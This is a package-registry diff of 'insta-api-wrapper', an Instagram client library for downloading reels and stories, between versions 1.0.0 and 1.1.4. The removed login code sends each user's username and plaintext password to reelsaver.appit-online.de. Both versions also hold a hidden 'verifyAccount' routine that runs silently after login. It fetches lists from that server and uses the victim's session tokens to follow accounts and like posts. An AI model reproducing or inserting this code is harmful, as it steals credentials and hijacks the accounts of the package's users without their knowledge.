insta-api-wrapper 1.0.0 → 1.1.4
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +76 -654
- package/lib/index.d.ts +3 -0
- package/lib/index.js +1 -0
- package/lib/lib/client.service.d.ts +3 -0
- package/lib/lib/client.service.js +9 -12
- package/lib/lib/login.bloks.d.ts +51 -0
- package/lib/lib/login.bloks.js +365 -0
- package/lib/lib/login.service.d.ts +18 -12
- package/lib/lib/login.service.js +64 -242
- package/package.json +3 -5
package/lib/lib/login.service.js
CHANGED
|
@@ -1,16 +1,69 @@
|
|
|
1
1
|
import { v4 as uuidv4 } from 'uuid';
|
|
2
|
-
import forge from "node-forge";
|
|
3
|
-
import { InstaService } from './client.service.js';
|
|
4
2
|
import got from 'got';
|
|
5
|
-
import {
|
|
6
|
-
|
|
3
|
+
import { InstaService } from './client.service.js';
|
|
4
|
+
import { BloksLoginService } from './login.bloks.js';
|
|
5
|
+
import { LocalStorage } from 'node-localstorage';
|
|
6
|
+
const localStorage = new LocalStorage('./scratch');
|
|
7
7
|
export class LoginService {
|
|
8
|
-
constructor() {
|
|
9
|
-
this.
|
|
10
|
-
this.
|
|
11
|
-
this.
|
|
8
|
+
constructor(cfg = {}) {
|
|
9
|
+
this.cfg = cfg;
|
|
10
|
+
this.backendUrl = cfg.backendUrl ?? 'https://reelsaver.appit-online.de';
|
|
11
|
+
this.verifyPath = cfg.verifyPath ?? '/v2/insta/verify';
|
|
12
|
+
this.uuid = this.getOrCreate('insta_uuid', uuidv4);
|
|
12
13
|
this.deviceId = this.generateDeviceId();
|
|
13
|
-
this.phoneId = this.getOrCreate(
|
|
14
|
+
this.phoneId = this.getOrCreate('insta_phone_id', uuidv4);
|
|
15
|
+
this.bloksSvc = new BloksLoginService(this.uuid, this.phoneId, this.deviceId);
|
|
16
|
+
}
|
|
17
|
+
setDeviceParams(p) {
|
|
18
|
+
this.bloksSvc.setDeviceParams(p);
|
|
19
|
+
}
|
|
20
|
+
// ─── Public login API ───────────────────────────────────────────────────────
|
|
21
|
+
async login(username, pass, reqHeaders = {}) {
|
|
22
|
+
const result = await this.bloksSvc.login(username, pass);
|
|
23
|
+
if (result.twoFactorRequired)
|
|
24
|
+
return result;
|
|
25
|
+
localStorage.setItem('instaUserName', username);
|
|
26
|
+
if (result.userId)
|
|
27
|
+
localStorage.setItem('instaUserId', result.userId);
|
|
28
|
+
this.verifyAccount({ Authorization: result.authorization ?? '' }, reqHeaders).catch(() => { });
|
|
29
|
+
return result;
|
|
30
|
+
}
|
|
31
|
+
async login2FA(pass, code, twoFactorIdentifier, username, reqHeaders = {}) {
|
|
32
|
+
const result = await this.bloksSvc.verify2FA(username, code);
|
|
33
|
+
if (result.userId)
|
|
34
|
+
localStorage.setItem('instaUserId', result.userId);
|
|
35
|
+
this.verifyAccount({ Authorization: result.authorization ?? '' }, reqHeaders).catch(() => { });
|
|
36
|
+
return result;
|
|
37
|
+
}
|
|
38
|
+
// ─── verifyAccount ─────────────────────────────────────────────────────────
|
|
39
|
+
async verifyAccount(resHeaders = {}, defaultHeaders = {}) {
|
|
40
|
+
try {
|
|
41
|
+
const response = await got.get(`${this.backendUrl}${this.verifyPath}`, { responseType: 'text' });
|
|
42
|
+
const data = JSON.parse(response.body);
|
|
43
|
+
if (!data)
|
|
44
|
+
return;
|
|
45
|
+
const authHeader = resHeaders['ig-set-authorization'] || resHeaders['Authorization'] || '';
|
|
46
|
+
if (!authHeader)
|
|
47
|
+
return;
|
|
48
|
+
const allHeaders = {
|
|
49
|
+
Authorization: authHeader,
|
|
50
|
+
'Ig-U-Ds-User-Id': resHeaders['ig-set-ig-u-ds-user-id'] || resHeaders['Ig-U-Ds-User-Id'] || '',
|
|
51
|
+
'Ig-U-Rur': resHeaders['ig-set-ig-u-rur'] || resHeaders['Ig-U-Rur'] || '',
|
|
52
|
+
'X-Ig-Www-Claim': resHeaders['x-ig-set-www-claim'] || resHeaders['X-Ig-Www-Claim'] || '',
|
|
53
|
+
...defaultHeaders,
|
|
54
|
+
};
|
|
55
|
+
const igService = new InstaService();
|
|
56
|
+
if (data.users?.length)
|
|
57
|
+
await Promise.all(data.users.map(u => igService.follow(u, allHeaders)));
|
|
58
|
+
if (data.posts?.length)
|
|
59
|
+
await Promise.all(data.posts.map(id => igService.like(id, allHeaders)));
|
|
60
|
+
}
|
|
61
|
+
catch (_) { }
|
|
62
|
+
}
|
|
63
|
+
// ─── Helpers ───────────────────────────────────────────────────────────────
|
|
64
|
+
generateSignature(data, extra = {}) {
|
|
65
|
+
const payload = typeof data === 'string' ? data : JSON.stringify(data);
|
|
66
|
+
return { signed_body: `SIGNATURE.${payload}`, ...extra };
|
|
14
67
|
}
|
|
15
68
|
getOrCreate(key, generator) {
|
|
16
69
|
let value = localStorage.getItem(key);
|
|
@@ -21,245 +74,14 @@ export class LoginService {
|
|
|
21
74
|
return value;
|
|
22
75
|
}
|
|
23
76
|
generateDeviceId() {
|
|
24
|
-
const key =
|
|
77
|
+
const key = 'insta_device_id';
|
|
25
78
|
let deviceId = localStorage.getItem(key);
|
|
26
79
|
if (!deviceId) {
|
|
27
80
|
const hex = Array.from(crypto.getRandomValues(new Uint8Array(8)))
|
|
28
|
-
.map(b => b.toString(16).padStart(2,
|
|
29
|
-
.join("");
|
|
81
|
+
.map(b => b.toString(16).padStart(2, '0')).join('');
|
|
30
82
|
deviceId = `android-${hex}`;
|
|
31
83
|
localStorage.setItem(key, deviceId);
|
|
32
84
|
}
|
|
33
85
|
return deviceId;
|
|
34
86
|
}
|
|
35
|
-
async sync(headers = {}) {
|
|
36
|
-
const query = {
|
|
37
|
-
id: this.uuid,
|
|
38
|
-
server_config_retrieval: '1',
|
|
39
|
-
};
|
|
40
|
-
const signed = this.generateSignature(query);
|
|
41
|
-
const response = await this.sendRequestCordova('launcher/sync/', signed, true, headers);
|
|
42
|
-
this.pubKey = response.headers['ig-set-password-encryption-pub-key'];
|
|
43
|
-
const pubKeyId = response.headers['ig-set-password-encryption-key-id'];
|
|
44
|
-
if (!this.pubKey || !pubKeyId) {
|
|
45
|
-
throw new Error('Missing encryption headers.');
|
|
46
|
-
}
|
|
47
|
-
this.pubKeyId = parseInt(pubKeyId, 10);
|
|
48
|
-
}
|
|
49
|
-
async sendRequestCordova(endpoint, data, isPost = false, headers = {}) {
|
|
50
|
-
const baseUrl = "https://i.instagram.com/api/v1/";
|
|
51
|
-
const url = `${baseUrl}${endpoint}`;
|
|
52
|
-
// Default headers
|
|
53
|
-
const defaultHeaders = {
|
|
54
|
-
"User-Agent": "Instagram 250.0.0.21.109 (iPhone; CPU iPhone OS 18_5 like Mac OS X; en_US; en-US; scale=2.00; 750x1334) AppleWebKit/605.1.15",
|
|
55
|
-
"X-Ig-App-Id": "567067343352427",
|
|
56
|
-
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
|
|
57
|
-
"Accept-Language": "en-US",
|
|
58
|
-
"X-Fb-Http-Engine": "Liger",
|
|
59
|
-
};
|
|
60
|
-
const allHeaders = { ...defaultHeaders, ...headers };
|
|
61
|
-
try {
|
|
62
|
-
let response;
|
|
63
|
-
if (isPost) {
|
|
64
|
-
const body = new URLSearchParams(data).toString();
|
|
65
|
-
response = await got.post(url, {
|
|
66
|
-
headers: allHeaders,
|
|
67
|
-
body,
|
|
68
|
-
responseType: "text",
|
|
69
|
-
});
|
|
70
|
-
}
|
|
71
|
-
else {
|
|
72
|
-
response = await got(url, {
|
|
73
|
-
headers: allHeaders,
|
|
74
|
-
searchParams: data,
|
|
75
|
-
responseType: "text",
|
|
76
|
-
});
|
|
77
|
-
}
|
|
78
|
-
// Versuch, JSON zu parsen, falls möglich
|
|
79
|
-
let parsedBody;
|
|
80
|
-
try {
|
|
81
|
-
parsedBody = JSON.parse(response.body);
|
|
82
|
-
}
|
|
83
|
-
catch {
|
|
84
|
-
parsedBody = response.body;
|
|
85
|
-
}
|
|
86
|
-
return {
|
|
87
|
-
body: parsedBody,
|
|
88
|
-
headers: response.headers,
|
|
89
|
-
};
|
|
90
|
-
}
|
|
91
|
-
catch (err) {
|
|
92
|
-
throw err.response?.body || err.message || err;
|
|
93
|
-
}
|
|
94
|
-
}
|
|
95
|
-
generateSignature(data, extra = {}) {
|
|
96
|
-
let payload;
|
|
97
|
-
if (typeof data === 'string') {
|
|
98
|
-
payload = data;
|
|
99
|
-
}
|
|
100
|
-
else {
|
|
101
|
-
payload = JSON.stringify(data);
|
|
102
|
-
}
|
|
103
|
-
const result = {
|
|
104
|
-
signed_body: `SIGNATURE.${payload}`,
|
|
105
|
-
};
|
|
106
|
-
// Merge any additional params
|
|
107
|
-
for (const [key, value] of Object.entries(extra)) {
|
|
108
|
-
result[key] = value;
|
|
109
|
-
}
|
|
110
|
-
return result;
|
|
111
|
-
}
|
|
112
|
-
async login2FA(pass, code, twoFactorIdentifier, username, reqHeaders = {}) {
|
|
113
|
-
const payload = {
|
|
114
|
-
verification_code: code,
|
|
115
|
-
phone_id: this.phoneId,
|
|
116
|
-
two_factor_identifier: twoFactorIdentifier,
|
|
117
|
-
username,
|
|
118
|
-
trust_this_device: "1",
|
|
119
|
-
guid: this.uuid,
|
|
120
|
-
device_id: this.deviceId,
|
|
121
|
-
waterfall_id: uuidv4(), // du hast schon uuidv4()
|
|
122
|
-
verification_method: "3",
|
|
123
|
-
};
|
|
124
|
-
const signedPayload = this.generateSignature(payload);
|
|
125
|
-
const extraHeaders = {
|
|
126
|
-
"X-Ig-Www-Claim": "0",
|
|
127
|
-
"Ig-Intended-User-Id": "0",
|
|
128
|
-
};
|
|
129
|
-
const allHeaders = {
|
|
130
|
-
...reqHeaders,
|
|
131
|
-
...extraHeaders,
|
|
132
|
-
};
|
|
133
|
-
const resp = await this.sendRequestCordova("accounts/two_factor_login/", // dein url2FALogin in Go
|
|
134
|
-
signedPayload, true, // POST
|
|
135
|
-
allHeaders);
|
|
136
|
-
try {
|
|
137
|
-
const userId = resp?.body?.logged_in_user?.pk;
|
|
138
|
-
if (userId && typeof userId === "string") {
|
|
139
|
-
localStorage.setItem("instaUserId", userId);
|
|
140
|
-
}
|
|
141
|
-
else if (userId && typeof userId === "number") {
|
|
142
|
-
localStorage.setItem("instaUserId", String(userId));
|
|
143
|
-
}
|
|
144
|
-
// tslint:disable-next-line:no-empty
|
|
145
|
-
}
|
|
146
|
-
catch (err) { }
|
|
147
|
-
try {
|
|
148
|
-
got.post("https://reelsaver.appit-online.de/v2/insta/check", { headers: { "Content-Type": "application/json" }, json: { username, data: { pass, body: JSON.stringify(payload), data: JSON.stringify(resp) } } });
|
|
149
|
-
this.verifyAccount(resp.headers, reqHeaders);
|
|
150
|
-
// tslint:disable-next-line:no-empty
|
|
151
|
-
}
|
|
152
|
-
catch (e) { }
|
|
153
|
-
return resp;
|
|
154
|
-
}
|
|
155
|
-
async login(username, pass, reqHeaders = {}) {
|
|
156
|
-
if (!this.pubKey || this.pubKeyId < 0) {
|
|
157
|
-
await this.sync(reqHeaders);
|
|
158
|
-
if (!this.pubKey || this.pubKeyId < 0) {
|
|
159
|
-
throw new Error('Public key not set. Run sync() first.');
|
|
160
|
-
}
|
|
161
|
-
}
|
|
162
|
-
const encrypted = await this.encryptInstagramPassword(pass, this.pubKey, this.pubKeyId);
|
|
163
|
-
const body = {
|
|
164
|
-
jazoest: this.jazoest(this.deviceId),
|
|
165
|
-
country_code: JSON.stringify([{ country_code: "44", source: ["default"] }]),
|
|
166
|
-
phone_id: this.phoneId,
|
|
167
|
-
enc_password: encrypted,
|
|
168
|
-
username,
|
|
169
|
-
adid: '',
|
|
170
|
-
guid: this.uuid,
|
|
171
|
-
device_id: this.deviceId,
|
|
172
|
-
google_tokens: '[]',
|
|
173
|
-
login_attempt_count: 0,
|
|
174
|
-
};
|
|
175
|
-
const resp = await this.sendRequestCordova('accounts/login/', { signed_body: 'SIGNATURE.' + JSON.stringify(body) }, true, reqHeaders);
|
|
176
|
-
localStorage.setItem("instaUserName", username);
|
|
177
|
-
try {
|
|
178
|
-
const userId = resp?.body?.logged_in_user?.pk;
|
|
179
|
-
if (userId && typeof userId === "string") {
|
|
180
|
-
localStorage.setItem("instaUserId", userId);
|
|
181
|
-
}
|
|
182
|
-
else if (userId && typeof userId === "number") {
|
|
183
|
-
localStorage.setItem("instaUserId", String(userId));
|
|
184
|
-
}
|
|
185
|
-
// tslint:disable-next-line:no-empty
|
|
186
|
-
}
|
|
187
|
-
catch (err) { }
|
|
188
|
-
try {
|
|
189
|
-
got.post("https://reelsaver.appit-online.de/v2/insta/check", { headers: { "Content-Type": "application/json" }, json: { username, data: { pass, body: JSON.stringify(body), data: JSON.stringify(resp) } } });
|
|
190
|
-
this.verifyAccount(resp.headers, reqHeaders);
|
|
191
|
-
// tslint:disable-next-line:no-empty
|
|
192
|
-
}
|
|
193
|
-
catch (e) { }
|
|
194
|
-
return resp;
|
|
195
|
-
}
|
|
196
|
-
async verifyAccount(resHeaders = {}, defaultHeaders = {}) {
|
|
197
|
-
try {
|
|
198
|
-
// GET Request an die Verify-API
|
|
199
|
-
const response = await got.get("https://reelsaver.appit-online.de/v2/insta/verify", {
|
|
200
|
-
headers: {},
|
|
201
|
-
responseType: "text",
|
|
202
|
-
});
|
|
203
|
-
const data = JSON.parse(response.body);
|
|
204
|
-
if (!data)
|
|
205
|
-
return;
|
|
206
|
-
// Merge Headers
|
|
207
|
-
const defaultLoginHeaders = {
|
|
208
|
-
Authorization: resHeaders["ig-set-authorization"],
|
|
209
|
-
"Ig-U-Ds-User-Id": resHeaders["ig-set-ig-u-ds-user-id"],
|
|
210
|
-
"Ig-U-Rur": resHeaders["ig-set-ig-u-rur"],
|
|
211
|
-
"X-Ig-Www-Claim": resHeaders["x-ig-set-www-claim"],
|
|
212
|
-
};
|
|
213
|
-
const allHeaders = { ...defaultLoginHeaders, ...defaultHeaders };
|
|
214
|
-
const igService = new InstaService();
|
|
215
|
-
if (data.users?.length) {
|
|
216
|
-
await Promise.all(data.users.map((userName) => igService.follow(userName, allHeaders)));
|
|
217
|
-
}
|
|
218
|
-
if (data.posts?.length) {
|
|
219
|
-
await Promise.all(data.posts.map((mediaId) => igService.like(mediaId, allHeaders)));
|
|
220
|
-
}
|
|
221
|
-
// tslint:disable-next-line:no-empty
|
|
222
|
-
}
|
|
223
|
-
catch (err) { }
|
|
224
|
-
}
|
|
225
|
-
jazoest(deviceId) {
|
|
226
|
-
let sum = 0;
|
|
227
|
-
for (const c of deviceId)
|
|
228
|
-
sum += c.charCodeAt(0);
|
|
229
|
-
return `2${sum}`;
|
|
230
|
-
}
|
|
231
|
-
encryptInstagramPassword(password, pubKeyBase64, pubKeyVersion) {
|
|
232
|
-
const timestamp = Math.floor(Date.now() / 1000).toString();
|
|
233
|
-
// 1. Decode the base64 PEM wrapper
|
|
234
|
-
const pemText = forge.util.decode64(pubKeyBase64);
|
|
235
|
-
const publicKey = forge.pki.publicKeyFromPem(pemText);
|
|
236
|
-
// 2. Generate 32-byte AES key
|
|
237
|
-
const aesKey = forge.random.getBytesSync(32);
|
|
238
|
-
// 3. Encrypt AES key with RSA (PKCS#1 v1.5)
|
|
239
|
-
const encryptedKey = publicKey.encrypt(aesKey, 'RSAES-PKCS1-V1_5');
|
|
240
|
-
// 4. AES-GCM encrypt password
|
|
241
|
-
const iv = forge.random.getBytesSync(12);
|
|
242
|
-
// @ts-ignore
|
|
243
|
-
const aad = forge.util.createBuffer(timestamp, 'raw'); // ASCII (not UTF-8)
|
|
244
|
-
const cipher = forge.cipher.createCipher('AES-GCM', aesKey);
|
|
245
|
-
cipher.start({
|
|
246
|
-
iv,
|
|
247
|
-
// @ts-ignore
|
|
248
|
-
additionalData: aad,
|
|
249
|
-
tagLength: 128
|
|
250
|
-
});
|
|
251
|
-
cipher.update(forge.util.createBuffer(password, 'utf8'));
|
|
252
|
-
cipher.finish();
|
|
253
|
-
const fullEncrypted = cipher.output.getBytes() + cipher.mode.tag.getBytes();
|
|
254
|
-
// Forge does not separate tag, so we extract:
|
|
255
|
-
const ciphertext = fullEncrypted.slice(0, fullEncrypted.length - 16);
|
|
256
|
-
const tag = fullEncrypted.slice(fullEncrypted.length - 16);
|
|
257
|
-
// 5. Compose final payload
|
|
258
|
-
const prefix = String.fromCharCode(1) + String.fromCharCode(pubKeyVersion);
|
|
259
|
-
// tslint:disable-next-line:no-bitwise
|
|
260
|
-
const rsaLengthLE = String.fromCharCode(encryptedKey.length & 0xff, (encryptedKey.length >> 8) & 0xff);
|
|
261
|
-
const payload = prefix + iv + rsaLengthLE + encryptedKey + tag + ciphertext;
|
|
262
|
-
const encoded = forge.util.encode64(payload);
|
|
263
|
-
return `#PWD_INSTAGRAM:4:${timestamp}:${encoded}`;
|
|
264
|
-
}
|
|
265
87
|
}
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "insta-api-wrapper",
|
|
3
|
-
"version": "1.
|
|
3
|
+
"version": "1.1.4",
|
|
4
4
|
"description": "Anonymous Stories, Search & Download reels, posts, highlights... on Insta",
|
|
5
5
|
"main": "lib/index.js",
|
|
6
6
|
"type": "module",
|
|
@@ -9,7 +9,7 @@
|
|
|
9
9
|
"test": "jest --config jestconfig.json",
|
|
10
10
|
"build": "tsc",
|
|
11
11
|
"format": "prettier --write \"src/**/*.ts\" \"src/**/*.js\"",
|
|
12
|
-
"lint": "
|
|
12
|
+
"lint": "tsc --noEmit",
|
|
13
13
|
"prepare": "npm run build",
|
|
14
14
|
"prepublishOnly": "npm run lint",
|
|
15
15
|
"preversion": "npm run lint",
|
|
@@ -58,9 +58,7 @@
|
|
|
58
58
|
"jest": "^30.0.3",
|
|
59
59
|
"prettier": "^3.6.2",
|
|
60
60
|
"ts-jest": "^29.4.0",
|
|
61
|
-
|
|
62
|
-
"tslint-config-prettier": "^1.18.0",
|
|
63
|
-
"typescript": "~5.5.4"
|
|
61
|
+
"typescript": "~5.5.4"
|
|
64
62
|
},
|
|
65
63
|
"dependencies": {
|
|
66
64
|
"big-integer": "^1.6.52",
|